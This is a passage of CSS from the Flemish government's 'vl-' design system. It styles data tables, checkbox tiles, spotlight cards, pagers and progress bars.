        .vl-data-table--collapsed-m.vl-data-table--collapsed-xs th {
          padding: 1rem
        }

        .vl-data-table--collapsed-m.vl-data-table--collapsed-m td,
        .vl-data-table--collapsed-m.vl-data-table--collapsed-m th {
          padding: 1.2rem
        }

        .vl-data-table--collapsed-m.vl-data-table--collapsed-truncate td:before,
        .vl-data-table--collapsed-m.vl-data-table--collapsed-truncate th:before {
          text-overflow: ellipsis;
          white-space: nowrap
        }
      }

      .vl-data-table--sticky {
        table-layout: auto
      }

      .vl-data-table--sticky .vl-data-table__cell--sticky {
        background-color: inherit;
        border: 0;
        left: 0;
        position: sticky;
        z-index: 1
      }

      .vl-data-table--sticky thead .vl-data-table__cell--sticky {
        top: 0;
        z-index: 2
      }

      .vl-data-table--sticky thead .vl-data-table__cell--sticky:before {
        background-color: #cbd2da;
        bottom: -3px;
        content: "";
        display: block;
        height: 3px;
        left: 0;
        position: absolute;
        right: 0
      }

      .vl-data-table--sticky tbody .vl-data-table__cell--sticky:before {
        background-color: #cbd2da;
        bottom: 0;
        content: "";
        display: block;
        position: absolute;
        right: -1px;
        top: 0;
        width: 1px
      }

      .vl-data-table--sticky td,
      .vl-data-table--sticky th {
        min-width: 200px
      }

      .vl-data-table--sticky tr {
        background-color: #fff
      }

      .vl-data-table__sticky-wrapper {
        max-height: 75vh;
        overflow-x: auto;
        overflow-y: auto;
        width: 100%
      }

      .vl-u-table-overflow {
        background: linear-gradient(90deg, #fff, #fff, hsla(0, 0%, 100%, 0) 30px), radial-gradient(farthest-side at 0 50%, rgba(0, 0, 0, .3), hsla(0, 0%, 100%, 0)), linear-gradient(270deg, #fff, #fff, hsla(0, 0%, 100%, 0) 30px), radial-gradient(farthest-side at 100% 50%, rgba(0, 0, 0, .3), hsla(0, 0%, 100%, 0)) 100%;
        background-attachment: local, scroll, local, scroll;
        background-color: #fff;
        background-repeat: no-repeat;
        background-size: 100% 100%, 15px 100%, 100% 100%, 15px 100%
      }

      .vl-data-table__navigation {
        display: flex;
        justify-content: flex-end;
        position: relative;
        z-index: 1
      }

      .vl-checkbox-tile__label {
        background-color: #fff;
        border: 1px solid #cbd2da;
        border-left-width: 30px;
        border-radius: .3rem;
        display: block;
        font-size: 1.6rem;
        padding: 1.5rem;
        position: relative
      }

      .vl-checkbox-tile__label:after {
        background-color: #fff;
        border-radius: 50%;
        color: #05c;
        content: "";
        display: block;
        height: 1.5rem;
        left: -2.2rem;
        position: absolute;
        top: 2rem;
        width: 1.5rem;
        z-index: 1
      }

      .vl-checkbox-tile__input {
        border: 0;
        height: 1px;
        left: 0;
        margin: -1px;
        overflow: hidden;
        padding: 0;
        position: absolute !important;
        top: 0;
        width: 1px;
        clip: rect(1px, 1px, 1px, 1px)
      }

      .vl-checkbox-tile__input:not(:disabled)+.vl-checkbox-tile__label {
        cursor: pointer
      }

      .vl-checkbox-tile__input:not(:disabled)+.vl-checkbox-tile__label:focus,
      .vl-checkbox-tile__input:not(:disabled)+.vl-checkbox-tile__label:hover {
        border: 2px solid #004ab3;
        border-left-width: 30px;
        padding: 1.4rem 1.4rem 1.4rem 1.5rem
      }

      .vl-checkbox-tile__input:not(:disabled)+.vl-checkbox-tile__label:focus:after,
      .vl-checkbox-tile__input:not(:disabled)+.vl-checkbox-tile__label:hover:after {
        top: 1.9rem
      }

      .vl-checkbox-tile__input:not(:disabled)+.vl-checkbox-tile__label:focus:before,
      .vl-checkbox-tile__input:not(:disabled)+.vl-checkbox-tile__label:hover:before {
        top: 2rem
      }

      .vl-checkbox-tile__input:checked+.vl-checkbox-tile__label {
        border: 2px solid #05c;
        border-left-width: 30px;
        padding: 1.4rem 1.4rem 1.4rem 1.5rem
      }

      .vl-checkbox-tile__input:checked+.vl-checkbox-tile__label:after {
        border-color: #05c
      }

      .vl-checkbox-tile__input:checked+.vl-checkbox-tile__label:before {
        background-color: #fff;
        border: 4px solid #05c;
        border-radius: 50%;
        color: #05c;
        content: "";
        display: block;
        height: 1.3rem;
        left: -2.1rem;
        position: absolute;
        top: 2.1rem;
        width: 1.3rem;
        z-index: 2
      }

      .vl-checkbox-tile__input:checked+.vl-checkbox-tile__label:focus,
      .vl-checkbox-tile__input:checked+.vl-checkbox-tile__label:hover {
        border-color: #004ab3
      }

      .vl-checkbox-tile__input:checked+.vl-checkbox-tile__label:focus:after,
      .vl-checkbox-tile__input:checked+.vl-checkbox-tile__label:hover:after {
        top: 2rem
      }

      .vl-checkbox-tile__input:checked+.vl-checkbox-tile__label:focus:before,
      .vl-checkbox-tile__input:checked+.vl-checkbox-tile__label:hover:before {
        top: 2.1rem
      }

      .vl-checkbox-tile__input:focus+.vl-checkbox-tile__label {
        box-shadow: 0 0 0 2px #fff, 0 0 0 5px rgba(0, 85, 204, .65);
        outline: .2rem solid transparent
      }

      @supports(outline-offset:2px) {
        .vl-checkbox-tile__input:focus+.vl-checkbox-tile__label {
          box-shadow: none;
          outline: 3px solid rgba(0, 85, 204, .65);
          outline-offset: 2px
        }
      }

      .vl-checkbox-tile__input[type=checkbox]+.vl-checkbox-tile__label:after,
      .vl-checkbox-tile__input[type=checkbox]+.vl-checkbox-tile__label:before {
        font-family: "vlaanderen-icon" !important;
        -webkit-font-smoothing: antialiased;
        -moz-osx-font-smoothing: grayscale;
        font-feature-settings: normal;
        font-style: normal;
        font-variant: normal;
        font-weight: 400;
        -webkit-text-decoration: none;
        text-decoration: none;
        text-transform: none
      }

      .vl-checkbox-tile__input[type=checkbox]+.vl-checkbox-tile__label:before {
        content: ""
      }

      .vl-checkbox-tile__input[type=checkbox]+.vl-checkbox-tile__label:after {
        border-radius: 0
      }

      .vl-checkbox-tile__input[type=checkbox]+.vl-checkbox-tile__label:before {
        border: 0;
        border-radius: 0;
        display: none;
        font-size: 1rem
      }

      .vl-checkbox-tile__input[type=checkbox]:checked+.vl-checkbox-tile__label:after,
      .vl-checkbox-tile__input[type=checkbox]:checked+.vl-checkbox-tile__label:before {
        font-family: "vlaanderen-icon" !important;
        -webkit-font-smoothing: antialiased;
        -moz-osx-font-smoothing: grayscale;
        font-feature-settings: normal;
        font-style: normal;
        font-variant: normal;
        font-weight: 400;
        -webkit-text-decoration: none;
        text-decoration: none;
        text-transform: none
      }

      .vl-checkbox-tile__input[type=checkbox]:checked+.vl-checkbox-tile__label:before {
        content: "";
        display: block
      }

      .vl-checkbox-tile__input:disabled+.vl-checkbox-tile__label {
        background-color: #cbd2d9
      }

      .vl-checkbox-tile__input:disabled+.vl-checkbox-tile__label .vl-checkbox-tile__title {
        color: #707070;
        color: var(--vl-theme-fg-color-70)
      }

      .vl-checkbox-tile__title {
        display: block;
        font-family: "Flanders Art Sans", sans-serif;
        font-family: var(--vlw-theme-base-font, "Flanders Art Sans", sans-serif);
        font-size: 2rem;
        font-weight: 500;
        line-height: 1.4;
        margin-bottom: 1.6rem
      }

      @media screen and (max-width:767px) {
        .vl-checkbox-tile__title {
          font-size: 1.8rem;
          margin-bottom: 1.2rem
        }
      }

      .vl-checkbox-tile__icon {
        font-size: 2.8rem;
        line-height: 1
      }

      .vl-checkbox-tile__image {
        margin-top: .5rem
      }

      .vl-checkbox-tile__info {
        color: #687483;
        display: block;
        margin-bottom: .5rem;
        margin-top: .5rem
      }

      .vl-checkbox-tile--error .vl-checkbox-tile__label {
        background-color: #fbebec;
        border-color: #d2373c
      }

      .vl-checkbox-tile--error .vl-checkbox-tile__input:checked+.vl-checkbox-tile__label {
        border-color: #d2373c
      }

      .vl-checkbox-tile--error .vl-checkbox-tile__input:checked+.vl-checkbox-tile__label:before {
        color: #d2373c
      }

      .vl-checkbox-tile--success .vl-checkbox-tile__label {
        background-color: #e6f5ed;
        border-color: #009e47
      }

      .vl-checkbox-tile--success .vl-checkbox-tile__input:checked+.vl-checkbox-tile__label {
        border-color: #009e47
      }

      .vl-checkbox-tile--success .vl-checkbox-tile__input:checked+.vl-checkbox-tile__label:before {
        color: #009e47
      }

      .vl-checkbox-tile--disabled .vl-checkbox-tile__label {
        background-color: #f3f5f6;
        border-color: #8695a8
      }

      .vl-checkbox-tile+.vl-checkbox-tile {
        margin-top: 10px
      }

      .vl-spotlight {
        display: block;
        padding: 2rem 0;
        position: relative;
        -webkit-text-decoration: none;
        text-decoration: none
      }

      .vl-spotlight:before {
        background-color: #cbd2da;
        content: "";
        display: block;
        height: .2rem;
        left: 0;
        position: absolute;
        right: 0;
        top: 0;
        z-index: 3
      }

      .vl-spotlight.vl-spotlight--alt-focus .vl-spotlight__link-wrapper {
        box-shadow: none;
        -webkit-text-decoration: none;
        text-decoration: none
      }

      .vl-spotlight--link:before {
        background-color: #05c
      }

      .vl-spotlight--alt {
        background-color: #f7f9fc;
        padding: 2rem
      }

      .vl-spotlight--alt.vl-spotlight--no-border {
        padding: 2rem
      }

      .vl-spotlight--alt.vl-spotlight--no-border.vl-spotlight--image {
        padding-top: 0
      }

      .vl-region--alt .vl-spotlight--alt {
        background-color: #fff
      }

      .vl-spotlight--image-icon:before {
        top: 85px;
        z-index: 0
      }

      @media screen and (max-width:500px) {
        .vl-spotlight--image-icon:before {
          top: 60px
        }
      }

      .vl-spotlight--image-icon .vl-spotlight__image--icon {
        aspect-ratio: 0;
        margin-bottom: 2rem
      }

      .vl-spotlight--image-icon .vl-spotlight__image--icon .vl-badge {
        border-radius: 50%;
        height: 100px;
        width: 100px
      }

      @media screen and (max-width:500px) {
        .vl-spotlight--image-icon .vl-spotlight__image--icon {
          margin-bottom: 1rem
        }

        .vl-spotlight--image-icon .vl-spotlight__image--icon .vl-badge {
          height: 75px;
          width: 75px
        }
      }

      .vl-spotlight--horizontal .vl-spotlight__main {
        align-items: center;
        display: flex
      }

      .vl-spotlight--horizontal .vl-spotlight__container {
        flex: 1
      }

      .vl-spotlight--horizontal .vl-spotlight__header {
        overflow: visible
      }

      .vl-spotlight--horizontal .vl-spotlight__color-block--rounded {
        background: transparent
      }

      .vl-spotlight--horizontal .vl-spotlight__color-block,
      .vl-spotlight--horizontal .vl-spotlight__image:not(.vl-spotlight__image--icon),
      .vl-spotlight--horizontal .vl-spotlight__transparent-block {
        max-width: 15rem;
        width: 15rem
      }

      @media screen and (max-width:500px) {

        .vl-spotlight--horizontal .vl-spotlight__color-block,
        .vl-spotlight--horizontal .vl-spotlight__image:not(.vl-spotlight__image--icon),
        .vl-spotlight--horizontal .vl-spotlight__transparent-block {
          max-width: 7.5rem
        }
      }

      .vl-spotlight--horizontal .vl-spotlight__color-block .vl-icon,
      .vl-spotlight--horizontal .vl-spotlight__image:not(.vl-spotlight__image--icon) .vl-icon,
      .vl-spotlight--horizontal .vl-spotlight__transparent-block .vl-icon {
        font-size: 6rem
      }

      .vl-spotlight--horizontal .vl-spotlight__color-block .vl-badge,
      .vl-spotlight--horizontal .vl-spotlight__image:not(.vl-spotlight__image--icon) .vl-badge,
      .vl-spotlight--horizontal .vl-spotlight__transparent-block .vl-badge {
        font-size: 0;
        height: 100%
      }

      @media screen and (max-width:500px) {

        .vl-spotlight--horizontal .vl-spotlight__color-block .vl-badge,
        .vl-spotlight--horizontal .vl-spotlight__image:not(.vl-spotlight__image--icon) .vl-badge,
        .vl-spotlight--horizontal .vl-spotlight__transparent-block .vl-badge {
          height: auto;
          width: 100%
        }
      }

      .vl-spotlight--horizontal .vl-spotlight__color-block,
      .vl-spotlight--horizontal .vl-spotlight__image,
      .vl-spotlight--horizontal .vl-spotlight__transparent-block {
        margin-bottom: 0;
        margin-right: 3rem
      }

      @media screen and (max-width:767px) {

        .vl-spotlight--horizontal .vl-spotlight__color-block,
        .vl-spotlight--horizontal .vl-spotlight__image,
        .vl-spotlight--horizontal .vl-spotlight__transparent-block {
          margin-bottom: 0;
          margin-right: 1.8rem
        }
      }

      .vl-spotlight--horizontal .vl-spotlight__image:not(.vl-spotlight__image--icon).vl-spotlight__image--square {
        aspect-ratio: 1
      }

      .vl-spotlight--horizontal .vl-spotlight__image:not(.vl-spotlight__image--icon).vl-spotlight__image--vertical {
        aspect-ratio: 11/16
      }

      .vl-spotlight--horizontal .vl-spotlight__image:not(.vl-spotlight__image--icon).vl-spotlight__image--rounded.vl-spotlight__color-block {
        background: transparent
      }

      .vl-spotlight--horizontal.vl-spotlight--s .vl-spotlight__color-block,
      .vl-spotlight--horizontal.vl-spotlight--s .vl-spotlight__image,
      .vl-spotlight--horizontal.vl-spotlight--s .vl-spotlight__transparent-block,
      .vl-spotlight--horizontal.vl-spotlight--xs .vl-spotlight__color-block,
      .vl-spotlight--horizontal.vl-spotlight--xs .vl-spotlight__image,
      .vl-spotlight--horizontal.vl-spotlight--xs .vl-spotlight__transparent-block {
        margin-bottom: 0;
        margin-right: 1.8rem
      }

      .vl-spotlight--no-border {
        padding: 0
      }

      .vl-spotlight--no-border:before {
        display: none
      }

      .vl-spotlight--no-visual-border .vl-spotlight__transparent-block--visual {
        border: 0;
        padding: 0
      }

      .vl-spotlight--no-visual-border .vl-spotlight__image__transparent {
        box-shadow: 0 1px 6px 0 #cfd5dd
      }

      .vl-spotlight--inline {
        display: inline-block
      }

      .vl-spotlight__link-wrapper {
        bottom: 0;
        display: block;
        left: 0;
        position: absolute;
        right: 0;
        top: 0;
        z-index: 1
      }

      .vl-spotlight__link-wrapper .vl-link__icon {
        display: none
      }

      .vl-spotlight__link-wrapper:focus~.vl-spotlight__main .vl-link,
      .vl-spotlight__link-wrapper:hover~.vl-spotlight__main .vl-link {
        -webkit-text-decoration: underline;
        text-decoration: underline
      }

      .vl-spotlight__header {
        margin-left: 0;
        margin-right: 0;
        margin-top: -2rem;
        overflow: hidden;
        position: relative
      }

      .vl-spotlight--no-border .vl-spotlight__header {
        margin-top: 0
      }

      .vl-spotlight--alt .vl-spotlight__header {
        margin-left: -2rem;
        margin-right: -2rem
      }

      .vl-spotlight__color-block,
      .vl-spotlight__image,
      .vl-spotlight__transparent-block {
        aspect-ratio: 16/9;
        margin-bottom: 2rem;
        position: relative
      }

      @media screen and (max-width:767px) {

        .vl-spotlight__color-block,
        .vl-spotlight__image,
        .vl-spotlight__transparent-block {
          margin-bottom: 1rem
        }
      }

      .vl-spotlight__color-block,
      .vl-spotlight__transparent-block {
        text-align: center
      }

      .vl-spotlight__color-block .vl-badge,
      .vl-spotlight__color-block .vl-icon,
      .vl-spotlight__transparent-block .vl-badge,
      .vl-spotlight__transparent-block .vl-icon {
        left: 50%;
        position: absolute;
        top: 50%;
        transform: translate3d(-50%, -50%, 0)
      }

      .vl-spotlight__color-block .vl-icon,
      .vl-spotlight__transparent-block .vl-icon {
        font-size: 6rem
      }

      @supports(-webkit-background-clip:text) {

        .vl-spotlight__color-block .vl-icon:before,
        .vl-spotlight__transparent-block .vl-icon:before {
          background: #ffed00 url("");
          background: var(--vl-spotlight-accent-fg-color, var(--vl-theme-primary-color)) url("");
          -webkit-background-clip: text;
          background-clip: text;
          background-size: 12px;
          color: #ffed00;
          color: var(--vl-spotlight-accent-fg-color, var(--vl-theme-primary-color));
          -webkit-text-fill-color: transparent;
          text-fill-color: transparent
        }
      }

      @supports((-webkit-background-clip:text) or (background-clip:text)) {

        .vl-spotlight__color-block .vl-icon:before,
        .vl-spotlight__transparent-block .vl-icon:before {
          background: #ffed00 url("");
          background: var(--vl-spotlight-accent-fg-color, var(--vl-theme-primary-color)) url("");
          -webkit-background-clip: text;
          background-clip: text;
          background-size: 12px;
          color: #ffed00;
          color: var(--vl-spotlight-accent-fg-color, var(--vl-theme-primary-color));
          -webkit-text-fill-color: transparent;
          text-fill-color: transparent
        }
      }

      .vl-spotlight__color-block .vl-badge,
      .vl-spotlight__transparent-block .vl-badge {
        aspect-ratio: 1;
        border-radius: 50%;
        height: calc(100% - 4rem);
        width: auto
      }

      .vl-spotlight__color-block .vl-badge.vl-badge--initials span,
      .vl-spotlight__transparent-block .vl-badge.vl-badge--initials span {
        font-size: inherit
      }

      .vl-spotlight__color-block {
        background-color: #ffed00;
        background-color: var(--vl-spotlight-accent-color, var(--vl-theme-primary-color))
      }

      .vl-spotlight__color-block--rounded,
      .vl-spotlight__color-block.vl-spotlight__image {
        background-color: #e4ebf5
      }

      @supports(-webkit-background-clip:text) {
        .vl-spotlight__color-block.vl-spotlight__image .vl-icon:before {
          background: #638ac4 url("");
          -webkit-background-clip: text;
          background-clip: text;
          background-size: 12px;
          color: #638ac4;
          -webkit-text-fill-color: transparent;
          text-fill-color: transparent
        }
      }

      @supports((-webkit-background-clip:text) or (background-clip:text)) {
        .vl-spotlight__color-block.vl-spotlight__image .vl-icon:before {
          background: #638ac4 url("");
          -webkit-background-clip: text;
          background-clip: text;
          background-size: 12px;
          color: #638ac4;
          -webkit-text-fill-color: transparent;
          text-fill-color: transparent
        }
      }

      .vl-spotlight__transparent-block {
        background: transparent;
        border: 1px solid #cbd2da
      }

      .vl-spotlight__transparent-block .vl-icon {
        font-size: 12rem;
        left: 50%;
        position: absolute;
        top: 50%;
        transform: translate3d(-50%, -50%, 0)
      }

      @supports(-webkit-background-clip:text) {
        .vl-spotlight__transparent-block .vl-icon:before {
          background: #cbd2da url("");
          -webkit-background-clip: text;
          background-clip: text;
          background-size: 12px;
          color: #cbd2da;
          -webkit-text-fill-color: transparent;
          text-fill-color: transparent
        }
      }

      @supports((-webkit-background-clip:text) or (background-clip:text)) {
        .vl-spotlight__transparent-block .vl-icon:before {
          background: #cbd2da url("");
          -webkit-background-clip: text;
          background-clip: text;
          background-size: 12px;
          color: #cbd2da;
          -webkit-text-fill-color: transparent;
          text-fill-color: transparent
        }
      }

      @media screen and (max-width:1023px) {
        .vl-spotlight__transparent-block .vl-icon {
          font-size: 10rem
        }
      }

      .vl-spotlight__transparent-block--visual:not(.vl-spotlight__image) {
        align-items: center;
        display: flex;
        justify-content: center;
        line-height: 0;
        padding: 1rem
      }

      .vl-spotlight__transparent-block--hidden {
        display: none
      }

      .vl-spotlight__image__img {
        backface-visibility: hidden;
        bottom: -9999px;
        height: auto;
        left: -9999px;
        margin: auto;
        min-height: 100%;
        min-width: 100%;
        position: absolute;
        right: -9999px;
        top: -9999px;
        transform: translateZ(0);
        transition: transform .2s;
        width: auto
      }

      @supports((-o-object-fit:cover) or (object-fit:cover)) {
        .vl-spotlight__image__img {
          bottom: 0;
          height: 100%;
          left: 0;
          -o-object-fit: cover;
          object-fit: cover;
          -o-object-position: center;
          object-position: center;
          right: 0;
          top: 0;
          width: 100%
        }
      }

      .vl-spotlight__image--focus-bottom-right .vl-spotlight__image__img,
      .vl-spotlight__image--focus-center-right .vl-spotlight__image__img,
      .vl-spotlight__image--focus-top-right .vl-spotlight__image__img {
        left: auto;
        margin-left: 0;
        margin-right: 0;
        right: 0
      }

      .vl-spotlight__image--focus-bottom-left .vl-spotlight__image__img,
      .vl-spotlight__image--focus-center-left .vl-spotlight__image__img,
      .vl-spotlight__image--focus-top-left .vl-spotlight__image__img {
        left: 0;
        margin-left: 0;
        margin-right: 0;
        right: auto
      }

      .vl-spotlight__image--focus-top-center .vl-spotlight__image__img,
      .vl-spotlight__image--focus-top-left .vl-spotlight__image__img,
      .vl-spotlight__image--focus-top-right .vl-spotlight__image__img {
        bottom: auto;
        margin-bottom: 0;
        margin-top: 0;
        top: 0
      }

      .vl-spotlight__image--focus-bottom-center .vl-spotlight__image__img,
      .vl-spotlight__image--focus-bottom-left .vl-spotlight__image__img,
      .vl-spotlight__image--focus-bottom-right .vl-spotlight__image__img {
        bottom: 0;
        margin-bottom: 0;
        margin-top: 0;
        top: auto
      }

      .vl-spotlight__image--contained .vl-spotlight__image__img {
        -o-object-fit: contain;
        object-fit: contain
      }

      .vl-spotlight__title-wrapper {
        align-items: flex-start;
        display: flex;
        position: relative
      }

      .vl-region--alt .vl-spotlight__title-wrapper .vl-spotlight__title,
      .vl-spotlight--alt .vl-spotlight__title-wrapper .vl-spotlight__title {
        background-color: #f7f9fc;
        padding-left: 2rem
      }

      .vl-region--alt .vl-spotlight__title-wrapper .vl-spotlight__title:before,
      .vl-spotlight--alt .vl-spotlight__title-wrapper .vl-spotlight__title:before {
        background-color: #f7f9fc
      }

      .vl-spotlight__container .vl-spotlight__title-wrapper .vl-spotlight__title {
        padding-left: 0
      }

      .vl-region--alt .vl-spotlight--alt .vl-spotlight__title-wrapper .vl-spotlight__title,
      .vl-region--alt .vl-spotlight--alt .vl-spotlight__title-wrapper:before {
        background-color: #fff
      }

      .vl-spotlight__title-wrapper:before {
        background-color: #fff;
        bottom: 0;
        content: "";
        display: block;
        left: 0;
        position: absolute;
        top: 0;
        width: 0
      }

      .vl-spotlight__title-wrapper .vl-spotlight__title {
        display: inline-flex;
        -webkit-hyphens: auto;
        hyphens: auto;
        max-width: calc(100% - 1rem);
        padding-right: .5rem;
        word-break: normal
      }

      @supports(overflow-wrap:break-word) {
        .vl-spotlight__title-wrapper .vl-spotlight__title {
          word-wrap: break-word
        }
      }

      .vl-spotlight__title {
        font-size: 2rem;
        line-height: 1.2;
        position: relative;
        transition: color .2s
      }

      @media screen and (max-width:767px) {
        .vl-spotlight__title {
          font-size: 1.8rem
        }
      }

      .vl-spotlight__title.vl-link {
        font-weight: 500
      }

      .vl-spotlight--xs .vl-spotlight__title {
        font-size: 1.6rem
      }

      .vl-spotlight--s .vl-spotlight__title {
        font-size: 1.8rem
      }

      @media screen and (max-width:767px) {
        .vl-spotlight--s .vl-spotlight__title {
          font-size: 1.6rem
        }
      }

      .vl-spotlight--l .vl-spotlight__title {
        font-size: 2.6rem
      }

      .vl-spotlight__subtitle {
        color: #687483;
        font-size: 1.5rem;
        font-weight: 500;
        margin-top: .6rem;
        text-transform: uppercase
      }

      @media screen and (max-width:767px) {
        .vl-spotlight__subtitle {
          font-size: 1.3rem
        }
      }

      .vl-spotlight--xs .vl-spotlight__subtitle {
        font-size: 1.2rem
      }

      .vl-spotlight--s .vl-spotlight__subtitle {
        font-size: 1.3rem
      }

      .vl-spotlight--l .vl-spotlight__subtitle {
        font-size: 1.5rem
      }

      .vl-spotlight__content .vl-document__type {
        padding: 3.6rem 0 0 2rem
      }

      .vl-spotlight__annotation.vl-typography {
        font-size: 1.8rem;
        line-height: 1.5;
        margin-top: 1rem
      }

      @media screen and (max-width:767px) {
        .vl-spotlight__annotation.vl-typography {
          font-size: 1.6rem;
          margin-top: .5rem
        }
      }

      .vl-spotlight--xs .vl-spotlight__annotation.vl-typography {
        font-size: 1.4rem;
        margin-top: .5rem
      }

      .vl-spotlight--s .vl-spotlight__annotation.vl-typography {
        font-size: 1.6rem;
        margin-top: .5rem
      }

      .vl-spotlight__data {
        color: #687483;
        margin: .7rem 0
      }

      .vl-spotlight__text {
        color: #333332;
        font-size: 1.8rem;
        line-height: 1.5;
        margin-top: 1rem;
        -webkit-text-decoration: none;
        text-decoration: none
      }

      @media screen and (max-width:767px) {
        .vl-spotlight__text {
          font-size: 1.6rem;
          margin-top: .5rem
        }
      }

      .vl-spotlight--xs .vl-spotlight__text {
        font-size: 1.4rem;
        margin-top: .5rem
      }

      .vl-spotlight--s .vl-spotlight__text {
        font-size: 1.6rem
      }

      .vl-pager,
      .vl-spotlight--l .vl-spotlight__text {
        font-size: 1.8rem
      }

      @media screen and (max-width:767px) {
        .vl-pager {
          font-size: 1.6rem
        }
      }

      .vl-pager__list {
        text-align: left
      }

      .vl-pager--align-center .vl-pager__list {
        text-align: center
      }

      .vl-pager--align-right .vl-pager__list {
        text-align: right
      }

      @media screen and (min-width:1023.1px) {
        .vl-pager--align-left--l .vl-pager__list {
          text-align: left
        }

        .vl-pager--align-center--l .vl-pager__list {
          text-align: center
        }

        .vl-pager--align-right--l .vl-pager__list {
          text-align: right
        }
      }

      @media screen and (max-width:1023px) {
        .vl-pager--align-left--m .vl-pager__list {
          text-align: left
        }

        .vl-pager--align-center--m .vl-pager__list {
          text-align: center
        }

        .vl-pager--align-right--m .vl-pager__list {
          text-align: right
        }
      }

      @media screen and (max-width:767px) {
        .vl-pager--align-left--s .vl-pager__list {
          text-align: left
        }

        .vl-pager--align-center--s .vl-pager__list {
          text-align: center
        }

        .vl-pager--align-right--s .vl-pager__list {
          text-align: right
        }
      }

      @media screen and (max-width:500px) {
        .vl-pager--align-left--xs .vl-pager__list {
          text-align: left
        }

        .vl-pager--align-center--xs .vl-pager__list {
          text-align: center
        }

        .vl-pager--align-right--xs .vl-pager__list {
          text-align: right
        }
      }

      .vl-pager__element {
        display: inline-block;
        padding: 0 1.5rem;
        position: relative;
        vertical-align: middle
      }

      .vl-pager__element:first-child {
        padding: 0 1.5rem 0 0
      }

      .vl-pager__element:nth-child(2) {
        padding-left: .2rem
      }

      .vl-pager__element:last-child {
        padding-right: 0
      }

      .vl-pager__element:first-child:after,
      .vl-pager__element:last-child:after {
        display: none
      }

      .vl-pager__element--active {
        font-weight: 700
      }

      .vl-pager__element--active .vl-pager__element__cta {
        color: #333332;
        -webkit-text-decoration: none;
        text-decoration: none
      }

      .vl-pager__element--previous {
        margin-right: 1rem
      }

      .vl-pager__element--next {
        margin-left: 1rem
      }

      .vl-pager__element a,
      .vl-pager__element a:focus,
      .vl-pager__element a:hover,
      .vl-pager__element__cta,
      .vl-pager__element__cta:focus,
      .vl-pager__element__cta:hover {
        box-shadow: none
      }

      .vl-pager__element a .vl-link__icon,
      .vl-pager__element__cta .vl-link__icon {
        align-self: inherit;
        color: inherit;
        display: inline-block;
        margin: 0
      }

      .vl-pager__element a .vl-link__icon.vl-vi-external,
      .vl-pager__element__cta .vl-link__icon.vl-vi-external {
        transform: translateY(1px)
      }

      .vl-progress-bar {
        display: table;
        height: 2.2rem;
        margin-bottom: 2.7rem;
        table-layout: fixed;
        width: 100%
      }

      @media screen and (max-width:767px) {
        .vl-progress-bar {
          height: 1.8rem;
          margin-bottom: 0
        }
      }

      .vl-progress-bar__step {
        display: table-cell;
        position: relative
      }

      .vl-progress-bar__step:before {
        background-color: #8695a8;
        content: "";
        display: block;
        height: .3rem;
        left: .2rem;
        position: absolute;
        right: 2.3rem;
        top: 50%;
        transform: translateY(-50%)
      }

      @media screen and (max-width:767px) {
        .vl-progress-bar__step:before {
          right: 1.9rem
        }
      }

      .vl-progress-bar__step--active:before {
        background: #8695a8;
        right: 2.7rem
      }

      @media screen and (max-width:767px) {
        .vl-progress-bar__step--active:before {
          right: 2.3rem
        }
      }

      .vl-progress-bar__step--active .vl-progress-bar__bullet {
        background-color: #8695a8;
        border-color: #8695a8;
        height: 2.2rem;
        width: 2.2rem
      }

      @media screen and (max-width:767px) {
        .vl-progress-bar__step--active .vl-progress-bar__bullet {
          height: 1.8rem;
          width: 1.8rem
        }
      }

      .vl-progress-bar__step--active~.vl-progress-bar__step .vl-progress-bar__bullet,
      .vl-progress-bar__step--active~.vl-progress-bar__step:before {
        background-color: #cfd5dd;
        border-color: #cfd5dd
      }

      .vl-region--alt .vl-progress-bar__step--active~.vl-progress-bar__step .vl-progress-bar__bullet,
      .vl-region--alt .vl-progress-bar__step--active~.vl-progress-bar__step:before {
        background-color: #cfd5dd
      }

      .vl-progress-bar__step--active~.vl-progress-bar__step .vl-progress-bar__bullet:after,
      .vl-progress-bar__step--active~.vl-progress-bar__step .vl-progress-bar__bullet__text {
        color: #687483
      }

      .vl-progress-bar__step:last-child .vl-progress-bar__bullet__text {
        max-width: 8rem;
        overflow: hidden;
        text-overflow: ellipsis
      }

      .vl-progress-bar__bullet {
        -webkit-appearance: none;
        -moz-appearance: none;
        appearance: none;
        background-color: #8695a8;
        border-color: #8695a8;
        border-radius: 50%;
        border-style: solid;
        height: 1.8rem;
        padding: 0;
        position: absolute;
        right: .2rem;
        top: 50%;
        transform: translateY(-50%);
        width: 1.8rem
      }

      @media screen and (max-width:767px) {
        .vl-progress-bar__bullet {
          height: 1.4rem;
          width: 1.4rem
        }
      }

      .vl-progress-bar__bullet:after {
        color: #333332
      }

      .vl-progress-bar__bullet__text {
        font-size: 1.6rem;
        position: absolute;
        transform: translate(-50%, 1.6rem);
        white-space: nowrap
      }

      .vl-progress-bar a .vl-progress-bar__bullet:hover:after {
        color: #004ab3
      }

      .vl-progress-bar--numeric {
        counter-reset: progressbar-counter;
        height: 4.2rem;
        margin-bottom: 2.6rem
      }

      @media screen and (max-width:767px) {
        .vl-progress-bar--numeric {
          height: 3.5rem;
          margin-bottom: 0
        }
      }

      .vl-progress-bar--numeric .vl-progress-bar__step:before {
        right: 3.7rem
      }

      @media screen and (max-width:767px) {
        .vl-progress-bar--numeric .vl-progress-bar__step:before {
          right: 3rem
        }
      }

      .vl-progress-bar--numeric .vl-progress-bar__step .vl-progress-bar__bullet {
        background-color: #ffed00;
        background-color: var(--vl-theme-primary-color);
        border-color: #ffed00;
        border-color: var(--vl-theme-primary-color);
        height: 3.2rem;
        -webkit-text-decoration: none;
        text-decoration: none;
        width: 3.2rem
      }

      @media screen and (max-width:767px) {
        .vl-progress-bar--numeric .vl-progress-bar__step .vl-progress-bar__bullet {
          height: 2.5rem;
          width: 2.5rem
        }
      }

      .vl-progress-bar--numeric .vl-progress-bar__step .vl-progress-bar__bullet:after {
        align-items: center;
        content: counter(progressbar-counter);
        counter-increment: progressbar-counter;
        display: flex;
        font-size: 1.8rem;
        font-weight: 500;
        height: 100%;
        justify-content: center;
        left: 0;
        position: absolute;
        text-align: center;
        top: 0;
        width: 100%
      }

      @media screen and (max-width:767px) {
        .vl-progress-bar--numeric .vl-progress-bar__step .vl-progress-bar__bullet:after {
          font-size: 1.4rem
        }
      }

      .vl-progress-bar--numeric .vl-progress-bar__step .vl-progress-bar__bullet__text {
        transform: translate(-50%, 2.6rem)
      }

      .vl-progress-bar--numeric .vl-progress-bar__step--active:before {
        right: 4.7rem
      }

      @media screen and (max-width:767px) {
        .vl-progress-bar--numeric .vl-progress-bar__step--active:before {
          right: 4rem
        }
      }

